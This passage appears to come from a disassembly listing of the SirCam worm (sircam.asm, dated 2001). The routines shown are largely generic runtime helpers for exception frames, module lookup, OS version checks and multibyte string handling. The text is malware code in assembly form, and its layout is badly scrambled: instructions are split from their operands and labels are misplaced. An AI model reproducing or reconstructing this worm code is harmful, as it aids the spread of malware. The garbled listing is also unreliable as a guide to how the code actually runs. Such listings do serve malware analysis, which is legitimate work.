; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409849:
; CODE XREF: sub_4097D0+52\030j
sircam.asm
Fri Aug 10 12:42:44 2001
261
mov
al, 0Eh
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40984C:
sub_4097D0
; CODE XREF: sub_4097D0+25\030j
; sub_4097D0+33\030j ...
mov
retn
endp
al, 16h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_409850:
; DATA XREF: sub_409B0C+7F\031o
call
sub_4097D0
and
eax, 0FFh
mov
eax, ds:dword_41C218[eax*8]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409864
proc near
var_170
var_16C
var_168
var_164
var_160
var_15C
var_158
var_154
var_150
var_14C
var_148
var_144
var_140
var_13C
var_138
var_134
var_130
var_12C
var_125
var_20
var_1C
var_10
var_4
arg_0
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
; CODE XREF: sub_409A30+54\031p
dword ptr -170h
dword ptr -16Ch
byte ptr -168h
dword ptr -164h
byte ptr -160h
dword ptr -15Ch
byte ptr -158h
dword ptr -154h
dword ptr -150h
dword ptr -14Ch
dword ptr -148h
byte ptr -144h
dword ptr -140h
byte ptr -13Ch
dword ptr -138h
byte ptr -134h
dword ptr -130h
byte ptr -12Ch
byte ptr -125h
byte ptr -20h
dword ptr -1Ch
dword ptr -10h
dword ptr -4
dword ptr 8
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
xor
push
push
push
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFE90h
ebx
esi
eax, eax
[ebp+var_170], eax
[ebp+var_14C], eax
[ebp+var_154], eax
[ebp+var_150], eax
[ebp+var_4], eax
eax, eax
ebp
offset loc_409A1F
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+arg_0]
ebx, [eax-4]
sircam.asm
Fri Aug 10 12:42:44 2001
262
cmp
dword ptr [ebx+14h], 0
jnz
short loc_4098B5
lea
edx, [ebp+var_4]
mov
eax, ds:off_41DC88
call
sub_404B80
jmp
short loc_4098C2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4098B5:
lea
mov
call
; CODE XREF: sub_409864+40\030j
edx, [ebp+var_4]
eax, ds:off_41DBF8
sub_404B80
loc_4098C2:
; CODE XREF: sub_409864+4F\030j
mov
esi, [ebx+18h]
push
1Ch
lea
eax, [ebp+var_20]
push
eax
mov
eax, [ebx+0Ch]
push
eax
call
j_VirtualQuery_0
cmp
[ebp+var_10], 1000h
jnz
loc_409994
push
105h
lea
eax, [ebp+var_125]
push
eax
mov
eax, [ebp+var_1C]
push
eax
call
j_GetModuleFileNameA_1
test
eax, eax
jz
loc_409994
mov
eax, [ebx+0Ch]
mov
[ebp+var_148], eax
mov
[ebp+var_144], 5
lea
eax, [ebp+var_150]
lea
edx, [ebp+var_125]
mov
ecx, 105h
call
sub_4036F8
mov
eax, [ebp+var_150]
lea
edx, [ebp+var_14C]
call
sub_4073EC
mov
eax, [ebp+var_14C]
mov
[ebp+var_140], eax
mov
[ebp+var_13C], 0Bh
mov
eax, [ebp+var_4]
mov
[ebp+var_138], eax
mov
[ebp+var_134], 0Bh
mov
[ebp+var_130], esi
mov
[ebp+var_12C], 5
lea
eax, [ebp+var_148]
push
eax
push
3
lea
edx, [ebp+var_154]
mov
eax, ds:off_41DC28
call
sub_404B80
mov
ecx, [ebp+var_154]
mov
dl, 1
mov
eax, ds:off_406854
call
sub_40948C
mov
ebx, eax
jmp
short loc_4099EE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409994:
; CODE XREF: sub_409864+77\030j
; sub_409864+94\030j
mov
mov
mov
mov
mov
eax, [ebx+0Ch]
[ebp+var_16C], eax
[ebp+var_168], 5
eax, [ebp+var_4]
[ebp+var_164], eax
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
lea
push
push
lea
mov
call
mov
mov
mov
call
mov
[ebp+var_160], 0Bh
[ebp+var_15C], esi
[ebp+var_158], 5
eax, [ebp+var_16C]
eax
2
edx, [ebp+var_170]
eax, ds:off_41DC50
sub_404B80
ecx, [ebp+var_170]
dl, 1
eax, ds:off_406854
sub_40948C
ebx, eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_409864+12E\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_409A26
loc_4099EE:
loc_4099FB:
sub_409864
263
; CODE XREF: CODE:00409A24\031j
lea
eax, [ebp+var_170]
call
sub_4034C8
lea
eax, [ebp+var_154]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -194h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409A1F:
; DATA XREF: sub_409864+2B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4099FB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409A26:
; DATA XREF: sub_409864+192\030o
mov
eax, ebx
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409A30
proc near
var_10
var_C
var_8
var_4
=
=
=
=
; DATA XREF: sub_409B0C+8A\031o
dword ptr -10h
dword ptr -0Ch
byte ptr -8
dword ptr -4
push
mov
add
push
xor
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF0h
ebx
edx, edx
[ebp+var_10], edx
[ebp+var_4], eax
sircam.asm
Fri Aug 10 12:42:44 2001
xor
push
push
push
mov
mov
call
and
mov
add
sub
jb
jz
dec
sub
jnb
264
eax, eax
ebp
offset loc_409AEB
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_4097D0
eax, 0FFh
edx, eax
edx, 0FFFFFFFDh
edx, 8
short loc_409A6C
short loc_409A83
edx
edx, 0Ah
short loc_409A8E
loc_409A6C:
; CODE XREF: sub_409A30+32\030j
lea
eax, dword_41C218[eax*8]
mov
ecx, [eax+4]
mov
eax, [eax]
mov
dl, 1
call
sub_409450
mov
ebx, eax
jmp
short loc_409ABE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409A83:
; CODE XREF: sub_409A30+34\030j
push
ebp
call
sub_409864
pop
ecx
mov
ebx, eax
jmp
short loc_409ABE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409A8E:
mov
mov
mov
mov
lea
push
push
lea
mov
call
mov
mov
mov
call
mov
loc_409ABE:
; CODE XREF: sub_409A30+3A\030j
eax, [ebp+var_4]
eax, [eax]
[ebp+var_C], eax
[ebp+var_8], 0
eax, [ebp+var_C]
eax
0
edx, [ebp+var_10]
eax, ds:off_41DAD8
sub_404B80
ecx, [ebp+var_10]
dl, 1
eax, ds:off_4063C4
sub_40948C
ebx, eax
; CODE XREF: sub_409A30+51\030j
; sub_409A30+5C\030j
mov
mov
call
test
jz
mov
mov
eax, ebx
edx, ds:off_40636C
sub_402C40
al, al
short loc_409AD5
eax, [ebp+var_4]
[ebx+0Ch], eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_409A30+9D\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_409AF2
loc_409AD5:
sircam.asm
loc_409AE2:
sub_409A30
Fri Aug 10 12:42:44 2001
265
; CODE XREF: CODE:00409AF0\031j
lea
eax, [ebp+var_10]
call
sub_4034C8
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409AEB:
; DATA XREF: sub_409A30+12\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_409AE2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409AF2:
; DATA XREF: sub_409A30+AD\030o
mov
eax, ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_409AFC
dd 0FFF8D7E8h, 1B8FFh, 0A5E80000h, 0C3FFFF99h ; DATA XREF: sub_409B0C+67
\031o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409B0C
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
push
push
xor
push
push
push
mov
lea
mov
call
mov
mov
mov
call
mov
lea
mov
call
mov
mov
mov
call
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
; CODE XREF: sub_40B2D4+46\031p
ebp
ebp, esp
0
0
eax, eax
ebp
offset loc_409BCD
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ds:off_41DB10
sub_404B80
ecx, [ebp+var_4]
dl, 1
eax, ds:off_4062B8
sub_409450
ds:dword_41E5F4, eax
edx, [ebp+var_8]
eax, ds:off_41DBDC
sub_404B80
ecx, [ebp+var_8]
dl, 1
eax, ds:off_406740
sub_409450
ds:dword_41E5F8, eax
eax, ds:off_41DAE0
dword ptr [eax], offset
eax, ds:off_41DB54
dword ptr [eax], offset
eax, ds:off_41DB04
edx, ds:off_4061F4
[eax], edx
eax, ds:off_41DB48
dword ptr [eax], offset
eax, ds:off_41DB58
dword ptr [eax], offset
sub_409688
dword_409AFC
loc_409850
sub_409A30
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
mov
xor
pop
pop
pop
mov
push
eax, ds:off_41DBF0
dword ptr [eax], offset sub_409788
eax, ds:off_41DAD4
dword ptr [eax], offset sub_4097A4
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_409BD4
loc_409BBF:
sub_409B0C
266
; CODE XREF: CODE:00409BD2\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409BCD:
; DATA XREF: sub_409B0C+A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_409BBF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409BD4:
; DATA XREF: sub_409B0C+AE\030o
pop
pop
pop
retn
ecx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409BD8
sub_409BD8
proc near
; CODE XREF: sub_40B194+2C\031p
mov
eax, ds:dword_41E5F4
mov
byte ptr [eax+0Ch], 1
mov
eax, ds:dword_41E5F4
mov
edx, [eax]
call
dword ptr [edx-8]
xor
eax, eax
mov
ds:dword_41E5F4, eax
mov
eax, ds:dword_41E5F8
mov
byte ptr [eax+0Ch], 1
mov
eax, ds:dword_41E5F8
call
sub_402BDC
xor
eax, eax
mov
ds:dword_41E5F8, eax
mov
eax, ds:off_41DAE0
xor
edx, edx
mov
[eax], edx
mov
eax, ds:off_41DB54
xor
edx, edx
mov
[eax], edx
mov
eax, ds:off_41DB04
xor
edx, edx
mov
[eax], edx
mov
eax, ds:off_41DB48
xor
edx, edx
mov
[eax], edx
mov
eax, ds:off_41DB58
xor
edx, edx
mov
[eax], edx
mov
eax, ds:off_41DBF0
xor
edx, edx
mov
[eax], edx
retn
endp
sircam.asm
Fri Aug 10 12:42:44 2001
267
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409C44
proc near
var_94
var_90
var_8C
var_88
var_84
var_80
=
=
=
=
=
=
dword ptr -94h
dword ptr -90h
dword ptr -8Ch
dword ptr -88h
dword ptr -84h
byte ptr -80h
add
mov
push
call
test
jz
mov
mov
mov
mov
mov
mov
mov
mov
mov
lea
mov
call
esp, 0FFFFFF6Ch
[esp+94h+var_94], 94h
esp
j_GetVersionExA
eax, eax
short loc_409C92
eax, [esp+94h+var_84]
ds:dword_41C0C0, eax
eax, [esp+94h+var_90]
ds:dword_41C0C4, eax
eax, [esp+94h+var_8C]
ds:dword_41C0C8, eax
eax, [esp+94h+var_88]
ds:dword_41C0CC, eax
eax, offset unk_41C0D0
edx, [esp+94h+var_80]
ecx, 80h
sub_4036F8
add
retn
endp
esp, 94h
loc_409C92:
sub_409C44
; CODE XREF: sub_40B2D4+50\031p
; CODE XREF: sub_409C44+15\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409C9C
proc near
; CODE XREF: sub_409D14+1B\031p
; sub_409D38+B\031p
push
esi
push
edi
mov
edi, edx
xor
edx, edx
test
eax, eax
jz
short loc_409D0C
cmp
byte ptr [eax+edi], 0
jz
short loc_409D0C
test
edi, edi
jnz
short loc_409CC4
mov
al, [eax]
and
eax, 0FFh
bt
ds:dword_41C104, eax
jnb
short loc_409D0C
mov
dl, 1
jmp
short loc_409D0C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409CC4:
; CODE XREF: sub_409C9C+12\030j
mov
esi, edi
dec
esi
jmp
short loc_409CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_409CC9:
268
; CODE XREF: sub_409C9C+42\031j
dec
esi
test
jl
mov
and
bt
jb
; CODE XREF: sub_409C9C+2B\030j
esi, esi
short loc_409CE0
cl, [eax+esi]
ecx, 0FFh
ds:dword_41C104, ecx
short loc_409CC9
mov
sub
and
jns
dec
or
inc
ecx, edi
ecx, esi
ecx, 80000001h
short loc_409CF1
ecx
ecx, 0FFFFFFFEh
ecx
loc_409CCA:
loc_409CE0:
; CODE XREF: sub_409C9C+30\030j
loc_409CF1:
; CODE XREF: sub_409C9C+4E\030j
test
ecx, ecx
jnz
short loc_409CF9
mov
dl, 2
jmp
short loc_409D0C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409CF9:
mov
and
bt
jnb
mov
; CODE XREF: sub_409C9C+57\030j
al, [eax+edi]
eax, 0FFh
ds:dword_41C104, eax
short loc_409D0C
dl, 1
loc_409D0C:
sub_409C9C
; CODE XREF: sub_409C9C+8\030j
; sub_409C9C+E\030j ...
mov
pop
pop
retn
endp
eax, edx
edi
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409D14
proc near
; CODE XREF: sub_4072D4+37\030p
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
xor
eax, eax
cmp
byte ptr ds:dword_41E5B0, 0
jz
short loc_409D34
mov
eax, ebx
call
sub_4038E8
mov
edx, esi
dec
edx
call
sub_409C9C
loc_409D34:
sub_409D14
; CODE XREF: sub_409D14+F\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
269
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409D38
proc near
xor
cmp
jz
call
mov
ecx, ecx
byte ptr ds:dword_41E5B0, 0
short loc_409D4A
sub_409C9C
ecx, eax
mov
retn
endp
eax, ecx
loc_409D4A:
sub_409D38
; CODE XREF: sub_407688+1B\030p
; sub_409F28+1C\031p
; CODE XREF: sub_409D38+9\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409D50
proc near
; CODE XREF: sub_408234+E8\030p
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
mov
eax, ebx
call
sub_403724
cmp
esi, eax
jle
short loc_409D6A
mov
eax, ebx
call
sub_403724
mov
esi, eax
loc_409D6A:
sub_409D50
; CODE XREF: sub_409D50+F\030j
mov
mov
call
pop
pop
retn
endp
edx, esi
eax, ebx
sub_409D78
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409D78
proc near
; CODE XREF: sub_409D50+1E\030p
push
ebx
push
esi
push
edi
mov
ebx, edx
mov
edi, eax
xor
esi, esi
test
ebx, ebx
jle
short loc_409DC0
mov
eax, edi
call
sub_403724
cmp
ebx, eax
jg
short loc_409DC0
mov
esi, ebx
cmp
byte ptr ds:dword_41E5B0, 0
jz
short loc_409DC0
mov
eax, 1
xor
esi, esi
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jl
ebx, eax
short loc_409DC0
mov
and
bt
jnb
inc
; CODE XREF: sub_409D78+46\031j
dl, [edi+eax-1]
edx, 0FFh
ds:dword_41C104, edx
short loc_409DBA
eax
inc
inc
cmp
jge
eax
esi
ebx, eax
short loc_409DA6
loc_409DA6:
loc_409DBA:
; CODE XREF: sub_409D78+3F\030j
loc_409DC0:
sub_409D78
270
; CODE XREF: sub_409D78+B\030j
; sub_409D78+16\030j ...
mov
pop
pop
pop
retn
endp
eax, esi
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409DC8
proc near
var_8
var_4
arg_0
= dword ptr -8
= dword ptr -4
= dword ptr 8
; CODE XREF: sub_409E3C+35\031p
; sub_409EA0+38\031p
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF8h
push
esi
push
edi
mov
[ebp+var_8], ecx
mov
[ebp+var_4], edx
mov
esi, eax
mov
eax, esi
call
sub_403724
mov
edi, eax
mov
edx, 1
mov
eax, 1
jmp
short loc_409E03
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409DED:
inc
mov
and
bt
jnb
inc
; CODE XREF: sub_409DC8+42\031j
edx
cl, [esi+eax-1]
ecx, 0FFh
ds:dword_41C104, ecx
short loc_409E02
eax
inc
eax
cmp
jle
cmp
edi, eax
short loc_409E0C
edx, [ebp+var_4]
loc_409E02:
; CODE XREF: sub_409DC8+37\030j
loc_409E03:
; CODE XREF: sub_409DC8+23\030j
sircam.asm
Fri Aug 10 12:42:44 2001
jl
short loc_409DED
cmp
jnz
cmp
jle
mov
and
bt
jnb
inc
; CODE XREF: sub_409DC8+3D\030j
edx, [ebp+var_4]
short loc_409E29
edi, eax
short loc_409E29
cl, [esi+eax-1]
ecx, 0FFh
ds:dword_41C104, ecx
short loc_409E29
eax
loc_409E0C:
loc_409E29:
sub_409DC8
271
; CODE XREF: sub_409DC8+47\030j
; sub_409DC8+4B\030j ...
mov
mov
mov
mov
pop
pop
pop
pop
pop
retn
endp
ecx, [ebp+var_8]
[ecx], edx
edx, [ebp+arg_0]
[edx], eax
edi
esi
ecx
ecx
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409E3C
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
push
add
mov
mov
xor
mov
test
jle
mov
call
cmp
jg
cmp
jle
cmp
jz
push
lea
mov
dec
mov
call
dec
cmp
jg
mov
call
cmp
jg
loc_409E89:
; CODE XREF: sub_408234+F9\030p
ebx
esi
esp, 0FFFFFFF8h
ebx, edx
esi, eax
eax, eax
[esp+8+var_8], eax
ebx, ebx
short loc_409E98
eax, esi
sub_403724
ebx, eax
short loc_409E98
ebx, 1
short loc_409E95
byte ptr ds:dword_41E5B0, 0
short loc_409E95
esp
ecx, [esp+0Ch+var_4]
edx, ebx
edx
eax, esi
sub_409DC8
ebx
ebx, [esp+8+var_4]
short loc_409E89
eax, esi
sub_403724
eax, [esp+8+var_8]
short loc_409E90
; CODE XREF: sub_409E3C+3F\030j
sircam.asm
Fri Aug 10 12:42:44 2001
272
xor
eax, eax
mov
[esp+8+var_8], eax
jmp
short loc_409E98
